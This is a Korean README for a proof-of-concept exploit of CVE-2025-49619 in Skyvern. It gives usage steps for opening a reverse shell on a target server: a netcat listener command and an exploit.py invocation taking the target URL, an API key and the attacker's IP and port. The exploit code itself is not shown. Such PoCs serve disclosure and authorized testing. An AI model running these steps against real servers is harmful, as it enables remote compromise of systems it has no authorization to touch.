CVE-2025-49619 PoC

이 스크립트는 Skyvern의 CVE-2025-49619 취약점을 악용하여 리버스 셸 명령을 실행합니다.

작성자

• 이름: Cristian Branet
• GitHub: cristibtz

사용법

1. 리스너 시작

nc -lvnp <PORT>

2. 익스플로잇 실행

python3 exploit.py -u "http://<TARGET_IP>:<TARGET_PORT>" -k "<X-API-KEY>" -i <LOCAL_IP> -p <PORT>

• <TARGET_IP>: Skyvern 서버 IP
• <TARGET_PORT>: Skyvern 서버 포트
• <X-API-KEY>: 본인의 Skyvern API 키 (설정 → API 키)
• <LOCAL_IP>: 리버스 셸을 수신할 본인의 IP
• <PORT>: 리버스 셸용 포트 (리스너와 일치해야 함)

면책 조항:
이 코드는 교육 및 승인된 테스트 목적으로만 사용됩니다.